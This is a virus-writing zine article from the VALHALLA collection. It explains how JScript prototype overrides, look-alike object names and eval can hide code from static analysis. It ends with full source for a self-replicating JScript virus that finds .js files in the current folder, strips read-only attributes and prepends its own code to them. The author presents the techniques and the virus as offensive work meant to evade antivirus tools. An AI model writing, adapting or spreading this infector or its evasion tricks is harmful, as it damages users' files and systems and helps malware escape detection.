VALHALLA Issue #1

2019 Re-edition

                              JScript Prototypes
                              roy g biv / defjam

                                 -= defjam =-
                                  since 1992
                     bringing you the viruses of tomorrow
                                    today!


About the author:

Former  DOS/Win16  virus writer, author of several virus  families,  including
Ginger  (see Coderz #1 zine for terrible buggy example, contact me for  better
sources  ;),  and Virus Bulletin 9/95 for a description of what   they  called
Rainbow.   Co-author  of  world's first virus using circular  partition  trick
(Orsam, coded with Prototype in 1993).  Designer of world's first XMS swapping
virus  (John Galt, coded by RT Fishel in 1995, only 30 bytes stub, the rest is
swapped  out).   Author of world's first virus using Thread Local Storage  for
replication  (Shrug, see Virus Bulletin 6/02 for a description, but they  call
it Chiton), world's first virus using Visual Basic 5/6 language extensions for
replication  (OU812), world's first Native executable virus (Chthon),  world's
first  virus  using process co-operation to prevent termination  (Gemini,  see
Virus  Bulletin 9/02 for a description), world's first virus using polymorphic
SMTP  headers (JunkMail, see Virus Bulletin 11/02 for a description),  world's
first viruses that can convert any data files to infectable objects (Pretext),
world's  first  32/64-bit  parasitic  EPO .NET  virus  (Croissant,  see  Virus
Bulletin  11/04  for a description, but they call it Impanate), world's  first
virus  using  self-executing HTML (JunkHTMaiL, see Virus Bulletin 7/03  for  a
description), world's first virus for Win64 on Intel Itanium (Shrug, see Virus
Bulletin 6/04 for a description, but they call it Rugrat), world's first virus
for  Win64 on AMD AMD64 (Shrug), world's first cross-infecting virus for Intel
IA32  and  AMD  AMD64  (Shrug),  world's  first  viruses  that  infect  Office
applications  and  script  files  using the same  code  (Macaroni,  see  Virus
Bulletin  11/05  for  a description, but they call it Macar),  world's   first
viruses  that  can infect both VBS and JScript using the same code (ACDC,  see
Virus  Bulletin 11/05 for a description, but they call it Cada), world's first
virus  that  can  infect  CHM files (Charm, see Virus  Bulletin  10/06  for  a
description,  but they call it Chamb), world's first IDA plugin virus  (Hidan,
see Virus Bulletin 3/07 for a description), world's first viruses that use the
Microsoft  Script  Encoder  to dynamically encrypt the  virus  body  (Screed),
world's  first virus for StarOffice and OpenOffice (Starbucks), world's  first
virus  IDC  virus (ID10TiC), world's first polymorphic virus for Win64 on  AMD
AMD64  (Boundary, see Virus Bulletin 12/06 for a description, but they call it
Bounds),  world's first virus that can infect Intel-format and  PowerPC-format
Mach-O  files  (MachoMan,  see  Virus Bulletin 01/07 for  a  description,  but
they  call  it  Macarena), world's first virus that uses  Unicode  escapes  to
dynamically encrypt the virus body, world's first self-executing PIF (Spiffy),
world's  first  self-executing  LNK (WeakLNK), world's first virus  that  uses
virtual  code  (Relock, see Virus Bulletin 03/10 for a description, but   they
call  it Lerock), world's  first virus to use FSAVE for instruction reordering
(Mimix,  see Virus Bulletin 01/10 for a description, but they call it Fooper),
world's  first  virus for ODbgScript (Volly), world's first Hiew plugin  virus
(Hiewg),  and world's first virus that uses fake BOMs (Bombastic).  Author  of
various  retrovirus  articles (eg see Vlad #7 for the strings that  make  your
code  invisible  to TBScan).  This is my ninth virus for JScript.  It  is  the
world's first virus that uses JScript prototypes to run itself.


What is a prototype?

JScript  object methods use function prototypes which are the default  handler
when  the  method  is called.  We can create new methods for some  objects  by
declaring  a prototype with the name that we want to use.  We can also  change
the handler for existing methods in some objects by declaring a prototype with
the same name as that method.


Which objects?

We  can  add  and change any method for these objects: Array,  Boolean,  Date,
Function,  Number,  Object, String.  That allows us to make a big problem  for
static  analysis,  because the method call might run something entirely  other
than before.


How to change the prototype?

There  are  two ways that we can change it.  One way is to declare a  function
that will run.  The function can be anonymous, and it can do anything that the
script can do normally.  It looks like this:

    Object.prototype.bar=function(){WScript.echo("Oops!")}

Here  I use "object" as the object, and create a new method called "bar" which
will  display the message whenever the method is called.  To call the  method,
we  have  to  create  a new object first, and the new  object  will  have  the
changes, like this:

    foo=new Object

Then we call the method as usual:

    foo.bar()

and  the  message will display.  We can change an existing method in the  same
way, like this:

    Date.prototype.getYear=function(){WScript.echo("Oops!")}

Then we create the object and call the method as usual, like this:

    foo=new Date
    foo.getYear()

It  looks  like it would return the current year, but instead it displays  the
message.   Of  course, you can pass parameters to the function if you  declare
them to the function, like this:

    String.prototype.fromCharCode=function(r){WScript.echo(r)}
    foo=new String
    foo.fromCharCode("Oops!")

You  can also pass more variables than your function accepts, and they will be
ignored, like this:

    Boolean.prototype.toString=function(r){WScript.echo(r)}
    foo=new Boolean
    foo.toString("Oops!", "unused")

That helps us to make more problems for static analysis, because it is hard to
see  which  parameters are used.  The other way to change the prototype is  to
include  the  code  without the function declaration.  Then the code  will  be
called during object construction and no need to call the prototype at all!

    Array.prototype.r=WScript.echo("Oops!")
    new Array

and  the message will display.  This can execute only one command, though, but
if  you use "eval" there, and pass your code as parameter, then you can run as
much as you want, like this:

    Array.prototype.r=eval
    foo = new Array
    foo.r("WScript.echo('Oops!')")

Another  thing that we can do is to create a new object with a similar name to
another  object, and create a prototype with the same name as a "safe" method.
One  obvious choice for this is WScript.  Since JScript is case-sensitive,  we
can  create an object called "Wscript" or "wScript" which looks similar if not
paying  attention.  Then we can create the "echo" prototype, and it looks like
the code will print a message, but it's not the right one, like this:

    Date.prototype.echo={WScript.echo("Oops!")}
    wScript=new Date
    wScript.echo("unused")

Best  of all, the code that is assigned to the prototype can be read back,  so
we  do not need to carry our own source code, like this:

    Boolean.prototype.toString=function(r){WScript.echo(r)}
    foo = new Boolean
    WScript.echo(foo.toString)

will display "function(r){WScript.echo(r)}".

Let's see the code.

Date.prototype.r=function()
{
  /*Protato - roy g biv 22/02/11*/
  a=new ActiveXObject("scripting.filesystemobject")
  for(b=new Enumerator(a.getfolder(".").files);!b.atEnd();b.moveNext())
                                                //demo version, current directory only
  {
    if(a.getextensionname(c=b.item()).toLowerCase()=="js")
      try
      {
        d=a.opentextfile(c)                     //open potential victim
        e=d.read(1)                             //read first character, keep for later
        if(e!="D")                              //check for infection marker
          try
          {
            e+=d.readall()                      //read entire file
            f=c.attributes                      //save attributes
            c.attributes=0                      //remove any read-only attribute
            g=a.createtextfile(c)               //open file for writing
            g.write("Date.prototype.r="+r.r+";r=new Date;r.r();"+e)
                                                //prepend to file
            g.close()                           //close file (write mode)
            c.attributes=f                      //restore attributes
          }
          catch(z)
          {
          }
        d.close()                               //close file (read mode)
      }
      catch(z)
      {
      }
  }
}
r=new Date
r.r()


Greets to friendly people (A-Z):

Active - Benny - herm1t - hh86 - izee - jqwerty - Malum - Obleak - Prototype -
Ratter - Ronin - RT Fishel - sars - SPTH - The Gingerbread Man - Ultras -
uNdErX - Vallez - Vecna - Whitehead


rgb/defjam feb 2011
iam_rgb@hotmail.com